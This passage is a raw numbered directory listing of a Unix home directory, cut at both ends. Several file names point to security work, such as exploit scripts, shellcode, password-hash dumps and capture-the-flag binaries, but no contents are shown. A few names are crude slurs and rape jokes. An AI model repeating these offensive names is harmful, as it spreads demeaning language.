Feb 11 2008 ol849-1.shadow 9781 drwx------ 5 thalakan thalakan 512 Oct 10 2003 old-mail 9782 drwxr-xr-x 2 thalakan thalakan 512 Aug 10 2008 onlive 9783 drwxr-xr-x 17 thalakan thalakan 512 Nov 1 2004 openbios 9784 -rw-r--r-- 1 thalakan thalakan 5107809 Feb 24 2002 openldap-2.0.18.tar.gz 9785 drwxr-xr-x 9 thalakan thalakan 8192 Oct 22 2004 openssh 9786 drwxr-xr-x 6 thalakan thalakan 8704 Mar 24 2006 openssh-4.3p2 9787 -rw-r--r-- 1 thalakan thalakan 941455 Mar 24 2006 openssh-4.3p2.tar.gz 9788 -rw-r--r-- 1 thalakan thalakan 3187 Oct 22 2004 openssh-antibrute-1.diff 9789 drwxr-xr-x 2 thalakan thalakan 512 Dec 13 2004 openssl-uzi 9790 -rw-r--r-- 1 thalakan thalakan 20061 Mar 31 2003 openssl-uzi.tar.gz 9791 -rw-r--r-- 1 thalakan thalakan 1474560 Dec 8 2004 os.img 9792 -rw-r--r-- 1 thalakan thalakan 6259 Aug 28 2002 os12bad.txt 9793 -rw-r--r-- 1 thalakan thalakan 1307 Aug 28 2002 os12diff.txt 9794 -rw-r--r-- 1 thalakan thalakan 4231 Aug 28 2002 os12good.txt 9795 -rw-r--r-- 1 thalakan thalakan 1349 Aug 28 2002 os12goodkout.txt 9796 -rwxr--r-- 1 thalakan thalakan 305919 Oct 10 2003 ost-notes.txt 9797 -rwxr--r-- 1 thalakan thalakan 305842 May 15 2003 ost-notes.txt~ 9798 -rw-r--r-- 1 thalakan thalakan 24576 Apr 2 2002 ost_alert_prompts_1.doc 9799 -rw-r--r-- 1 thalakan thalakan 14816 Mar 25 2002 ost_consult_template.rtf 9800 -rw-r--r-- 1 thalakan thalakan 18513 Apr 23 2002 ost_consult_template_hourly.rtf 9801 -rw-r--r-- 1 thalakan thalakan 529 Apr 12 2007 otv2.asc 9802 -rw-r--r-- 1 thalakan thalakan 342 Jan 1 2009 out 9803 -rw-r--r-- 1 thalakan thalakan 140053 Aug 17 2007 out.png 9804 -rw-r--r-- 1 thalakan thalakan 624046 Apr 4 2002 out.wav 9805 -rw-r--r-- 1 thalakan thalakan 2440906 Jan 1 2009 out1 9806 -rw-r--r-- 1 thalakan thalakan 191188 Sep 6 2005 outbox.dbx 9807 -rw-r--r-- 1 thalakan thalakan 95 Mar 7 2006 pageme.irc 9808 -rw-r--r-- 1 thalakan thalakan 11 Sep 13 2003 pagesize.c 9809 drwxr-xr-x 7 thalakan thalakan 512 May 1 2007 parts 9810 drwxr-xr-x 2 thalakan thalakan 1536 Apr 26 2007 patches 9811 -rw-r--r-- 1 thalakan thalakan 32756236 Mar 23 2006 patris227.tgz 9812 -rw-r--r-- 1 thalakan thalakan 5265 Feb 13 00:47 paybycam.log 9813 -rw-r--r-- 1 thalakan thalakan 4888 Feb 12 16:27 paybycam.log~ 9814 drwxr-xr-x 4 thalakan thalakan 512 Jul 17 12:56 phenny 9815 -rw-r--r-- 1 thalakan thalakan 32099 Dec 10 2004 phys 3.nb 9816 drwxr-xr-x 16 thalakan thalakan 1024 Oct 5 2004 phys-140 9817 -rw-r--r-- 1 thalakan thalakan 9558 Oct 10 2005 pict.scm 9818 drwxr-xr-x 2 thalakan thalakan 512 Aug 19 2002 pk 9819 -rw------- 1 thalakan thalakan 41329 May 30 2002 plugin.tar.gz 9820 -rw-r--r-- 1 thalakan thalakan 9253034 Apr 2 2006 polysics-mr-roboto.wmv 9821 -rw------- 1 thalakan thalakan 5520 Feb 2 2003 pook 9822 -rw-r--r-- 1 thalakan thalakan 132896 Apr 24 2002 port1.wav.gz 9823 -rw-r--r-- 1 thalakan thalakan 146075 Apr 24 2002 port2.wav.gz 9824 -rw------- 1 thalakan thalakan 744 Jan 24 2002 postponed 9825 -rw-r--r-- 1 thalakan thalakan 47560 Oct 20 1998 pq 9826 -rw------- 1 thalakan thalakan 80074 Jan 31 2002 press_2_805.au 9827 -rw-r--r-- 1 thalakan thalakan 4497 Jan 24 2002 print.pdf 9828 drwxr-xr-x 2 thalakan thalakan 512 Mar 1 2002 prism 9829 -rw-r--r-- 1 thalakan thalakan 13732 Mar 1 2002 prism.tar.gz 9830 -rw-r--r-- 1 thalakan thalakan 687 Dec 9 2004 problems.txt 9831 -rw-rw-rw- 1 thalakan thalakan 68394 Feb 8 2005 procexp.chm 9832 -rw-r--r-- 1 thalakan thalakan 274759 Apr 5 2005 procexp9x.zip 9833 -r--r--r-- 1 thalakan thalakan 63 Jun 18 2002 procmailrc.example 9834 -rw------- 1 thalakan thalakan 55808 Nov 2 2006 proj3.tar 9835 -rw-r--r-- 1 thalakan thalakan 3742 Nov 6 2005 proj3.tar.gz 9836 -rw-r--r-- 1 thalakan thalakan 10891 Nov 2 2006 proj3a 9837 -rw------- 1 thalakan thalakan 6175 Nov 6 2005 proj3b.tar.gz 9838 -rw-r--r-- 1 thalakan thalakan 7253 Nov 28 2005 proj4.tar.gz 9839 drwxr-xr-x 2 thalakan thalakan 512 Dec 5 2005 proj4b 9840 -rw------- 1 thalakan thalakan 5952 Dec 5 2005 proj4b.tar.gz 9841 drwxr-xr-x 5 thalakan thalakan 512 May 31 2006 projects 9842 -rw-r--r-- 1 thalakan thalakan 12562 Feb 9 2002 pstj-billspec.rtf 9843 -rw-r--r-- 1 thalakan thalakan 103013 Jan 24 2002 pstj-logs.tar.gz 9844 -rw-r--r-- 1 thalakan thalakan 33844 Jan 24 2002 pstj-logs2.tar.gz 9845 -rw-r--r-- 1 thalakan thalakan 221184 Apr 23 2002 pstj9.doc 9846 -rw-r--r-- 1 thalakan thalakan 94077 Apr 23 2002 pstj9.pdf 9847 -rwxr-xr-x 1 thalakan thalakan 22419 Nov 4 2004 ptracetest 9848 -rw-r--r-- 1 thalakan thalakan 5940 Nov 4 2004 ptracetest.c 9849 -rw-r--r-- 1 thalakan thalakan 4581 Nov 4 2004 ptracetest.c~ 9850 drwxrwxr-x 25 thalakan thalakan 8192 Apr 25 14:17 public_html 9851 -rw-r--r-- 1 thalakan thalakan 2155 Jan 24 2002 punches 9852 -rw-r--r-- 1 thalakan thalakan 66312 Dec 3 2008 pushall.htm 9853 drwxr-xr-x 2 thalakan thalakan 512 Apr 6 2007 pvtg.com 9854 -rw-r--r-- 1 thalakan thalakan 17312886 Jan 24 2005 qt-x11-free-3.3.4.tar.gz 9855 drwxr-xr-x 2 thalakan thalakan 5120 Mar 29 2005 r 9856 -rw-r--r-- 1 thalakan thalakan 333 Sep 5 2007 raep.txt 9857 -rwxr-xr-x 1 thalakan thalakan 4807 Apr 8 2007 rangetest 9858 -rw-r--r-- 1 thalakan thalakan 835 Apr 8 2007 rangetest.c 9859 drwxr-xr-x 2 thalakan thalakan 512 Sep 5 2007 rapeforchristmas 9860 -rwxr-xr-x 1 thalakan thalakan 4679 Dec 21 2008 rbt_jesus.py 9861 -rwxr-xr-x 1 thalakan thalakan 4672 Dec 3 2008 rbt_jesus.py~ 9862 -rwxr--r-- 1 thalakan thalakan 583 Mar 23 2006 readme.txt 9863 -rwxr-xr-x 1 thalakan thalakan 22585 Jan 17 2003 readomatic 9864 -rwxr-xr-x 1 thalakan thalakan 2919 Jan 17 2003 readomatic.c 9865 -rwxr-xr-x 1 thalakan thalakan 486 Jan 17 2003 readomatic.c~ 9866 -rwxr-xr-x 1 thalakan thalakan 1565 Jan 17 2003 readomatic.h 9867 -rwxr-xr-x 1 thalakan thalakan 1541 Jan 17 2003 readomatic.h~ 9868 -rw-r--r-- 1 thalakan thalakan 81 Aug 17 2008 reallyobscure.txt 9869 drwxr-xr-x 3 thalakan thalakan 512 Dec 10 2007 rearden-scan 9870 -rw-r--r-- 1 thalakan thalakan 2037 Aug 22 2003 record-stats.tar.gz 9871 -rwx------ 1 thalakan thalakan 219 Apr 20 2004 refresh.html 9872 -rw-r--r-- 1 thalakan thalakan 50176 Dec 14 2004 reg.exe 9873 -rwxr--r-- 1 thalakan thalakan 1133 Feb 26 2003 removedup.cpp 9874 -rwxr-xr-x 1 thalakan thalakan 297 Sep 22 2004 respawn.sh 9875 -rw-r--r-- 1 thalakan thalakan 38912 Apr 23 2002 resume.doc 9876 -rw-r--r-- 1 thalakan thalakan 10156 Jan 6 2003 resume.txt 9877 -rw-r--r-- 1 thalakan thalakan 10974 Dec 3 2002 resume.txt~ 9878 -rw------- 1 thalakan thalakan 1741 Nov 6 2002 retard.html 9879 -rw-r--r-- 1 thalakan thalakan 1582 Nov 6 2002 retard.txt 9880 -rwxr-xr-x 1 thalakan thalakan 3832 May 30 2008 reversing200-6005c9996e7eb9d344204618b9561bee 9881 -rw-r--r-- 1 thalakan thalakan 105605984 Nov 24 2004 rib.20041124.2150 9882 -rw-r--r-- 1 thalakan thalakan 71940 May 23 2002 rings.wav.gz 9883 -rw-r--r-- 1 thalakan thalakan 590344 Oct 19 2005 root1.tar.gz 9884 -rw-r--r-- 1 thalakan thalakan 337868 Sep 13 2006 root10.tar.gz 9885 -rw-r--r-- 1 thalakan thalakan 1835881 Feb 20 2007 root11.tar.gz 9886 -rw-r--r-- 1 thalakan thalakan 882436 Oct 19 2005 root2.tar.gz 9887 -rw-r--r-- 1 thalakan thalakan 3547052 Oct 19 2005 root3.tar.gz 9888 -rw-r--r-- 1 thalakan thalakan 65794 Apr 21 2006 root4.tar.gz 9889 -rw-r--r-- 1 thalakan wheel 180664 Apr 21 2006 root5.tar.gz 9890 -rw-r--r-- 1 thalakan wheel 127068 Apr 13 2006 root6.tar.gz 9891 -rw-r--r-- 1 thalakan thalakan 68071 Apr 28 2006 root7.tar.gz 9892 -rw-r--r-- 1 thalakan wheel 55269 Apr 28 2006 root8.tar.gz 9893 -rw-r--r-- 1 thalakan thalakan 359252 Sep 11 2006 root9.tar.gz 9894 drwxr-xr-x 2 thalakan thalakan 95744 Jul 26 2003 rootfu 9895 -rw-r--r-- 1 thalakan thalakan 102400 Jul 21 2003 rootfu.key.old 9896 -rw-r--r-- 1 thalakan thalakan 401023 May 13 01:00 route-views3-damp-snapshot-2009-05-13-0800.dat 9897 -rw-r--r-- 1 thalakan thalakan 1606 Jun 10 2004 router-confg 9898 drwxr-xr-x 2 thalakan thalakan 512 Jun 7 2006 rover 9899 -rw-r--r-- 1 thalakan thalakan 33824 Jun 7 2006 rover.tar.gz 9900 -rw-r--r-- 1 thalakan thalakan 208 Nov 6 2004 rpcdemo.x~ 9901 -rw-r--r-- 1 thalakan thalakan 2388 Jun 26 2002 rpcinfo-timer-diff 9902 -rwxr-xr-x 1 thalakan thalakan 27482 Nov 7 2004 rsmart 9903 -rw-r--r-- 1 thalakan thalakan 358 Nov 7 2004 rsmart.c 9904 -rw-r--r-- 1 thalakan thalakan 298 Nov 6 2004 rsmart.c~ 9905 -rw-r--r-- 1 thalakan thalakan 17564 Nov 7 2004 rsmart.o 9906 -rwxr-xr-x 1 thalakan thalakan 28382 Nov 7 2004 rsmartd 9907 -rw-r--r-- 1 thalakan thalakan 481 Nov 7 2004 rsmartd.c 9908 -rw-r--r-- 1 thalakan thalakan 219 Nov 7 2004 rsmartd.c~ 9909 -rw-r--r-- 1 thalakan thalakan 17008 Nov 7 2004 rsmartd.o 9910 -rw-r--r-- 1 thalakan thalakan 20476 Mar 26 2002 salis-contract.rtf 9911 -rwx------ 1 thalakan thalakan 28672 Feb 5 2003 sam 9912 -rw------- 1 thalakan thalakan 1024 Feb 5 2003 sam.log 9913 -rwx------ 1 thalakan thalakan 606 Jan 24 2002 sam.out 9914 -rw-r--r-- 1 thalakan thalakan 3377 Feb 22 2002 samcid.out 9915 -rwxr-xr-x 1 thalakan thalakan 102 Nov 2 2007 sanitize.pl 9916 -rw-r--r-- 1 thalakan thalakan 2016 Apr 11 2008 sayhi.py 9917 drwxr-xr-x 2 thalakan thalakan 512 Aug 11 2002 scanrand 9918 -rw-r--r-- 1 thalakan thalakan 7711 Aug 9 2002 scanrand_alpha.tar.gz 9919 -rw-r--r-- 1 thalakan thalakan 485 Jan 24 2002 schema 9920 -rwxr-xr-x 1 thalakan thalakan 1343 Mar 20 2002 scm 9921 drwxr-xr-x 12 thalakan thalakan 512 Dec 2 2008 scout 9922 -rw-r--r-- 1 thalakan thalakan 67605 Sep 28 2002 scout2.tar.gz 9923 -rwxr-xr-x 1 thalakan thalakan 36864 Feb 1 2005 scramble.exe 9924 -rw-r--r-- 1 thalakan thalakan 19677152 Apr 17 2007 screenlog.0 9925 -rw-r--r-- 1 thalakan thalakan 9148081 Feb 18 2005 screenlog.2 9926 -rwx------ 1 thalakan thalakan 553 Apr 20 2004 script.html 9927 -rw-r--r-- 1 thalakan thalakan 293856 May 22 2003 script1.obj 9928 -rw-r--r-- 1 thalakan thalakan 6815 Jun 24 2002 scripttest.scr 9929 -rw-r--r-- 1 thalakan thalakan 1358 Aug 13 2004 sel4.pl 9930 drwxr-xr-x 6 thalakan thalakan 1024 Sep 15 2007 seraph 9931 -rw-r--r-- 1 thalakan thalakan 0 Jul 25 2006 seraph.log 9932 -rw-r--r-- 1 thalakan thalakan 32 Sep 20 2004 seraph.pcap 9933 -rwxr-xr-x 1 thalakan thalakan 3924 Jun 26 2006 seraph_server.py 9934 -rw-r--r-- 1 thalakan thalakan 199 May 4 2006 seraph_server.py~ 9935 -rw-r--r-- 1 thalakan thalakan 2773 Apr 19 2006 service1.c 9936 -rwxr-xr-x 1 thalakan thalakan 6703 May 21 2008 service2 9937 -rw-r--r-- 1 thalakan thalakan 2843 May 21 2008 service2.c 9938 -rw-r--r-- 1 thalakan thalakan 46 Feb 21 2007 shaitan2 9939 -rw-r--r-- 1 thalakan thalakan 38 Feb 14 2005 shellcode 9940 -rw-r--r-- 1 thalakan thalakan 341291 Apr 22 18:56 shtech 9941 -rw-r--r-- 1 thalakan thalakan 522844 May 4 12:35 shtech3 9942 -rw-r--r-- 1 thalakan thalakan 3 Mar 18 2005 sig 9943 -rw-r--r-- 1 thalakan thalakan 33938 Sep 6 2005 simply.scm 9944 -rw-r--r-- 1 thalakan thalakan 1539072 Oct 28 2008 siw.exe 9945 -rw-r--r-- 1 thalakan thalakan 13856 Sep 3 2007 sizes 9946 -rw-r--r-- 1 thalakan thalakan 926 Jun 19 2002 sk-2501k.def 9947 -rw-r--r-- 1 thalakan thalakan 1684 Apr 3 2002 sloccount 9948 -rw-r--r-- 1 thalakan thalakan 833 Nov 6 2004 smart.h 9949 -rw-r--r-- 1 thalakan thalakan 330 Nov 6 2004 smart.x 9950 -rw-r--r-- 1 thalakan thalakan 238 Nov 6 2004 smart.x~ 9951 -rw-r--r-- 1 thalakan thalakan 550 Nov 6 2004 smart_clnt.c 9952 -rw-r--r-- 1 thalakan thalakan 16776 Nov 7 2004 smart_clnt.o 9953 -rw-r--r-- 1 thalakan thalakan 1922 Nov 6 2004 smart_svc.c 9954 -rw-r--r-- 1 thalakan thalakan 19976 Nov 7 2004 smart_svc.o 9955 -rw-r--r-- 1 thalakan thalakan 1026 Nov 6 2004 smart_xdr.c 9956 -rw-r--r-- 1 thalakan thalakan 17536 Nov 7 2004 smart_xdr.o 9957 -rw-r--r-- 1 thalakan thalakan 156 Nov 7 2004 smartd.c~ 9958 -rw-r--r-- 1 thalakan thalakan 1441 Jul 31 2008 smithers.hashes 9959 -rw-r--r-- 1 thalakan thalakan 40134 Feb 11 2008 smithers.ldif 9960 drwxr-s--x 2 thalakan thalakan 512 Aug 2 2005 snoopy-1.3 9961 -rw-r--r-- 1 thalakan thalakan 10423 Dec 20 2000 snoopy-1.3.tar.gz 9962 -rwxr-xr-x 1 thalakan thalakan 98503 Nov 28 2008 socket_demo 9963 -rw-r--r-- 1 thalakan thalakan 167928 Nov 15 2008 socket_demo.c 9964 -rw-r--r-- 1 thalakan thalakan 20781789 Feb 20 21:09 socket_demo.log 9965 -rw-r--r-- 1 thalakan thalakan 32 Feb 21 14:36 socket_demo_out.log 9966 -rw-r--r-- 1 thalakan thalakan 4017 Feb 3 2004 soe_vpi_points.zip 9967 -rw-r--r-- 1 thalakan thalakan 4057 Oct 2 2004 spawner.c 9968 -rw-r--r-- 1 thalakan thalakan 156967 Mar 21 2002 spec.pdf 9969 -rw-r--r-- 1 thalakan thalakan 30528 Jan 24 2002 spec.rtf 9970 -rwxr--r-- 1 thalakan thalakan 94614 Sep 2 2003 specification1.pdf 9971 -rwxr-xr-x 1 thalakan thalakan 23836 Feb 17 2004 splat 9972 -rw-r--r-- 1 thalakan thalakan 2357 Feb 17 2004 splat.c 9973 -rw-r--r-- 1 thalakan thalakan 2353 Feb 17 2004 splat.c~ 9974 -rwxr-xr-x 1 thalakan thalakan 675 Feb 17 2004 splat.pl 9975 -rwxr-xr-x 1 thalakan thalakan 963 Feb 17 2004 splat.pl~ 9976 -rw-r--r-- 1 thalakan thalakan 73 Feb 14 2005 sploit 9977 -rwxr-xr-x 1 thalakan thalakan 681 Jun 4 2005 sploit.pl 9978 -rw-r--r-- 1 thalakan thalakan 33 Jun 4 2005 sploit.pl~ 9979 -rw-r--r-- 1 thalakan thalakan 555 Jul 5 2007 spooge.c 9980 -rw------- 1 thalakan thalakan 238440 May 21 2002 spra462.pdf 9981 -rw-r--r-- 1 thalakan thalakan 800 Feb 27 2005 ssenable.c 9982 -rw-r--r-- 1 thalakan thalakan 65536 Feb 27 2005 ssenable.exe 9983 -rw-r--r-- 1 thalakan thalakan 3846 Nov 5 2006 ssh-wallet.sh 9984 -rw-r--r-- 1 thalakan thalakan 3838 Nov 5 2006 ssh-wallet.sh.orig 9985 -rw-r--r-- 1 thalakan thalakan 4758 Nov 5 2006 ssh-wallet.sh.rej 9986 -rw-r--r-- 1 thalakan thalakan 4758 Nov 5 2006 ssh-wallet.sh.rej.orig 9987 -rwxr-xr-x 1 thalakan thalakan 2647 Jun 22 2002 sshd~ 9988 -rw-r--r-- 1 thalakan thalakan 14816 Jul 1 2002 sshutup-theo.tar.gz 9989 drwxr-xr-x 3 thalakan thalakan 512 Dec 13 2004 sshutuptheo 9990 -rw-r--r-- 1 thalakan thalakan 0 Jun 25 2004 stage1 9991 -r--r--r-- 1 thalakan thalakan 3300 Jun 25 2004 stage1.out 9992 -r--r--r-- 1 thalakan thalakan 3204 Jun 25 2004 stage2.out 9993 -rw-r--r-- 1 thalakan thalakan 300 Aug 24 2002 steve.lot 9994 -rwxr-xr-x 1 thalakan thalakan 9 Mar 13 2006 stub 9995 -rw-r--r-- 1 thalakan thalakan 17196 Aug 12 2005 stuff 9996 -rwxr-xr-x 1 thalakan thalakan 3535 May 7 2007 stuff-box.pl 9997 -rwxr-xr-x 1 thalakan thalakan 3182 May 3 2007 stuff-box.pl~ 9998 -rwxr-xr-x 1 thalakan thalakan 199 Dec 13 2004 stuff.sh 9999 -rw-r--r-- 1 thalakan thalakan 1856 Dec 12 2004 stuff.tar.gz 10000 -rw-r--r-- 1 thalakan thalakan 180 Nov 22 2006 submit.frm 10001 -rwxr-xr-x 1 thalakan thalakan 1005 Jul 27 2008 suck2.rb 10002 -rw-r--r-- 1 thalakan thalakan 2993 Dec 10 2004 suggest.html 10003 -rw-r--r-- 1 thalakan thalakan 4558 Jun 6 2002 suit2.jpg 10004 drwxr-xr-x 2 thalakan thalakan 512 Sep 28 2004 support.ccbill.com 10005 -rw-r--r-- 1 thalakan thalakan 14187159 Apr 17 2004 sys.tar.gz 10006 -rw-r--r-- 1 thalakan thalakan 7662 Jan 21 2005 syskey.txt 10007 -rw------- 1 thalakan thalakan 6705152 Feb 5 2003 system 10008 -rw-r--r-- 1 thalakan thalakan 21964 Dec 30 2003 sysuaf.dat 10009 -rw-r--r-- 1 thalakan thalakan 10857 Aug 26 2005 t 10010 -rw-r--r-- 1 thalakan thalakan 269 Feb 27 2007 t34m1337-systems.txt 10011 -rw-r--r-- 1 thalakan thalakan 3610 Feb 27 2006 talk_outline.txt 10012 -rw-r--r-- 1 thalakan thalakan 13471956 Jun 30 2004 teams.tgz 10013 -rwx------ 1 thalakan thalakan 21986 Jun 15 12:27 temp.txt 10014 -rwxr-xr-x 1 thalakan thalakan 1164 Jan 28 2002 template.pl 10015 -rw-r--r-- 1 thalakan thalakan 17112 Jan 24 2002 tempspec.rtf 10016 -rw-r--r-- 1 thalakan thalakan 46573 Feb 7 2002 tempspec2.rtf 10017 -rw-r--r-- 1 thalakan thalakan 5679665 Oct 2 2003 terrysworld.wmv 10018 -rwxr-xr-x 1 thalakan thalakan 4347 Dec 27 2006 test 10019 -rw-r--r-- 1 thalakan thalakan 328 Mar 19 2004 test.c 10020 -rw-r--r-- 1 thalakan thalakan 365 May 9 2002 test.c~ 10021 -rw-r--r-- 1 thalakan thalakan 119 Dec 8 2004 test.f 10022 -rw-r--r-- 1 thalakan thalakan 116 Dec 26 2003 test.f~ 10023 -rw-r--r-- 1 thalakan thalakan 78 Dec 27 2006 test.m 10024 -rw-r--r-- 1 thalakan thalakan 476 Mar 13 2006 test.o 10025 -rw-r--r-- 1 thalakan thalakan 8 Mar 20 2007 test.p 10026 -rw-r--r-- 1 thalakan thalakan 30 Apr 22 2008 test.php 10027 -rwxr-xr-x 1 thalakan thalakan 396 Nov 24 2004 test.pl 10028 -rw-r--r-- 1 thalakan thalakan 123 Nov 24 2004 test.pl~ 10029 -rwxr-xr-x 1 thalakan thalakan 82 May 5 2006 test.py 10030 -rw-r--r-- 1 thalakan thalakan 65 Mar 13 2006 test.s 10031 -rw-r--r-- 1 thalakan thalakan 71 Sep 18 2004 test.sh 10032 -rw-r--r-- 1 thalakan thalakan 10240 Dec 12 2004 test.tar 10033 -rw-r--r-- 1 thalakan thalakan 1856 Dec 12 2004 test.tar.gz 10034 -rw-r--r-- 1 thalakan thalakan 19 Aug 20 2008 test.tcl 10035 -rw-r--r-- 1 thalakan thalakan 31 Aug 27 2004 test.txt 10036 -rwxr-xr-x 1 thalakan thalakan 5214 Aug 26 2004 test1 10037 -rw-r--r-- 1 thalakan thalakan 2095 Aug 26 2004 test1.c 10038 -rw-r--r-- 1 thalakan thalakan 4174 Dec 6 2004 test1.c.html 10039 -rw-r--r-- 1 thalakan thalakan 757 Aug 26 2004 test1.c~ 10040 -rwxr-xr-x 1 thalakan thalakan 292 Sep 3 2005 test1.scm 10041 -rw-r--r-- 1 thalakan thalakan 64 Sep 3 2005 test1.scm~ 10042 -rwxr-xr-x 1 thalakan thalakan 7577 Dec 10 2004 test10 10043 -rw-r--r-- 1 thalakan thalakan 77 Dec 10 2004 test10.c 10044 -rw-r--r-- 1 thalakan thalakan 77 Dec 10 2004 test10.c~ 10045 -rwxr-xr-x 1 thalakan thalakan 7348 Jan 25 2005 test11 10046 -rw-r--r-- 1 thalakan thalakan 212 Jan 25 2005 test11.c 10047 -rw-r--r-- 1 thalakan thalakan 165 Jan 25 2005 test11.c~ 10048 -rw-r--r-- 1 thalakan thalakan 844 May 17 21:04 test11.o 10049 -rwxr-xr-x 1 thalakan thalakan 7687 Feb 14 2005 test12 10050 -rw-r--r-- 1 thalakan thalakan 233 Feb 14 2005 test12.c 10051 -rw-r--r-- 1 thalakan thalakan 232 Feb 14 2005 test12.c~ 10052 -rwxr-xr-x 1 thalakan thalakan 8099 Apr 6 2005 test13 10053 -rw-r--r-- 1 thalakan thalakan 435 Apr 6 2005 test13.c 10054 -rw-r--r-- 1 thalakan thalakan 4544 Apr 6 2005 test13.o 10055 -rw-r--r-- 1 thalakan thalakan 1470 Apr 9 2006 test13.s 10056 -rwxr-xr-x 1 thalakan thalakan 4813 Jul 14 2005 test14 10057 -rw-r--r-- 1 thalakan thalakan 450 Jul 14 2005 test14.c 10058 -rwxr-xr-x 1 thalakan thalakan 4565 Jul 21 2005 test15 10059 -rw-r--r-- 1 thalakan thalakan 466 Jul 21 2005 test15.c 10060 -rw-r--r-- 1 thalakan thalakan 160 Jul 21 2005 test15.c~ 10061 -rw-r--r-- 1 thalakan thalakan 371 Aug 22 2005 test16-b.o 10062 -rw-r--r-- 1 thalakan thalakan 50 Aug 22 2005 test16.c 10063 -rw-r--r-- 1 thalakan thalakan 735 Aug 22 2005 test16.o 10064 -rwxr-xr-x 1 thalakan thalakan 4320 Dec 28 2005 test17 10065 -rw-r--r-- 1 thalakan thalakan 153 Dec 28 2005 test17.c 10066 -rwxr-xr-x 1 thalakan thalakan 4284 Apr 2 2006 test18 10067 -rw-r--r-- 1 thalakan thalakan 65 Apr 2 2006 test18.c 10068 -rw-r--r-- 1 thalakan thalakan 80 Apr 2 2006 test18.c~ 10069 -rwxr-xr-x 1 thalakan thalakan 375 Apr 9 2006 test18.s 10070 -rw-r--r-- 1 thalakan thalakan 36 Feb 16 2006 test19.c 10071 -rw-r--r-- 1 thalakan thalakan 36 Feb 16 2006 test19.c~ 10072 -rw-r--r-- 1 thalakan thalakan 685 Mar 30 2006 test19.o 10073 -rwxr-xr-x 1 thalakan thalakan 4904 Jun 20 2002 test2 10074 -rw-r--r-- 1 thalakan thalakan 921 Jun 20 2002 test2.c 10075 -rw-r--r-- 1 thalakan thalakan 2032 Dec 6 2004 test2.c.html 10076 -rw-r--r-- 1 thalakan thalakan 422 Apr 8 2002 test2.cpp 10077 -rw-r--r-- 1 thalakan thalakan 479 Apr 9 2006 test2.o 10078 -rw-r--r-- 1 thalakan thalakan 252 Nov 28 2006 test2.pl 10079 -rw-r--r-- 1 thalakan thalakan 252 Nov 27 2006 test2.pl~ 10080 -rw-r--r-- 1 thalakan thalakan 115 Apr 10 2008 test2.py 10081 -rw-r--r-- 1 thalakan thalakan 149 Apr 9 2006 test2.s 10082 -rwxr-xr-x 1 thalakan thalakan 18 Apr 25 2005 test2.sh 10083 -rw-r--r-- 1 thalakan thalakan 2557 Dec 12 2004 test2.tar.gz 10084 -rw-r--r-- 1 thalakan thalakan 66 Apr 4 2006 test20.c 10085 -rw-r--r-- 1 thalakan thalakan 732 Apr 4 2006 test20.obj 10086 -rwxr-xr-x 1 thalakan thalakan 4342 Apr 9 2006 test21 10087 -rw-r--r-- 1 thalakan thalakan 148 Apr 9 2006 test21.c 10088 -rw-r--r-- 1 thalakan thalakan 936 Apr 9 2006 test21.o 10089 -rwxr-xr-x 1 thalakan thalakan 4352 May 3 2006 test22 10090 -rw-r--r-- 1 thalakan thalakan 204 May 3 2006 test22.c 10091 -rw-r--r-- 1 thalakan thalakan 90 May 3 2006 test22.c~ 10092 -rw-r--r-- 1 thalakan thalakan 1658 May 3 2006 test22_1 10093 -rw-r--r-- 1 thalakan thalakan 1672 May 3 2006 test22_2 10094 -rwxr-xr-x 1 thalakan thalakan 7172 May 13 2006 test23 10095 -rw-r--r-- 1 thalakan thalakan 149 May 13 2006 test23.c 10096 -rwxr-xr-x 1 thalakan thalakan 5012 Jun 1 2006 test24 10097 -rw-r--r-- 1 thalakan thalakan 629 Jun 1 2006 test24.c 10098 -rwxr-xr-x 1 thalakan thalakan 4185 May 7 2007 test25 10099 -rw-r--r-- 1 thalakan thalakan 257 May 7 2007 test25.c 10100 -rwxr-xr-x 1 thalakan thalakan 7080 Aug 17 2008 test26 10101 -rw-r--r-- 1 thalakan thalakan 3838 Aug 17 2008 test26.c 10102 -rw------- 1 thalakan thalakan 3614 Aug 17 2008 test26.c.BAK 10103 -rw-r--r-- 1 thalakan thalakan 3754 Aug 17 2008 test26.c~ 10104 -rwxr-xr-x 1 thalakan thalakan 4739 Sep 30 2008 test27 10105 -rw-r--r-- 1 thalakan thalakan 88 Sep 30 2008 test27.c 10106 -rwxr-xr-x 1 thalakan thalakan 7152 May 13 2006 test3 10107 -rw-r--r-- 1 thalakan thalakan 160 Nov 21 2005 test3.c 10108 -rw-r--r-- 1 thalakan thalakan 3848 May 13 2006 test3.o 10109 -rw-r--r-- 1 thalakan thalakan 401 Jan 15 2009 test3.pl 10110 -rw-r--r-- 1 thalakan thalakan 72 Apr 10 2008 test3.py 10111 -rwxr-xr-x 1 thalakan thalakan 89 Mar 13 2006 test3.sh 10112 -rwxr-xr-x 1 thalakan thalakan 4475 Jul 6 2003 test4 10113 -rw-r--r-- 1 thalakan thalakan 84 Jul 6 2003 test4.c 10114 -rw-r--r-- 1 thalakan thalakan 696 Jan 15 2009 test4.pl 10115 -rw-r--r-- 1 thalakan thalakan 22 Nov 7 2008 test4.py 10116 -rwxr-xr-x 1 thalakan thalakan 138 Apr 20 2007 test4.sh 10117 -rw-r--r-- 1 thalakan thalakan 663 Nov 9 2004 test5-a.c 10118 -rw-r--r-- 1 thalakan thalakan 76 Nov 9 2004 test5-a.c~ 10119 -rw-r--r-- 1 thalakan thalakan 3049 Nov 9 2004 test5-a.o 10120 -rw-r--r-- 1 thalakan thalakan 321 Nov 9 2004 test5-b.c 10121 -rw-r--r-- 1 thalakan thalakan 301 Nov 9 2004 test5-b.c~ 10122 -rw-r--r-- 1 thalakan thalakan 2638 Nov 9 2004 test5-b.o 10123 -rw-r--r-- 1 thalakan thalakan 4893 Nov 9 2004 test5-new.o 10124 -rw-r--r-- 1 thalakan thalakan 5585 Jul 12 2005 test5.asm 10125 -rw-r--r-- 1 thalakan thalakan 969 Nov 9 2004 test5.c 10126 -rw-r--r-- 1 thalakan thalakan 1294 Nov 8 2004 test5.c~ 10127 -rw-r--r-- 1 thalakan thalakan 390 Nov 9 2004 test5.h 10128 -rw-r--r-- 1 thalakan thalakan 383 Nov 9 2004 test5.h~ 10129 -rw-r--r-- 1 thalakan thalakan 2064 Jul 12 2005 test5.o 10130 -rwxr-xr-x 1 thalakan thalakan 273 Dec 11 2008 test5.sh 10131 -rwxr-xr-x 1 thalakan thalakan 134 Dec 11 2008 test5.sh~ 10132 -rwxr-xr-x 1 thalakan thalakan 4480 Feb 10 2004 test6 10133 -rw-r--r-- 1 thalakan thalakan 159 Feb 10 2004 test6.c 10134 -rwxr-xr-x 1 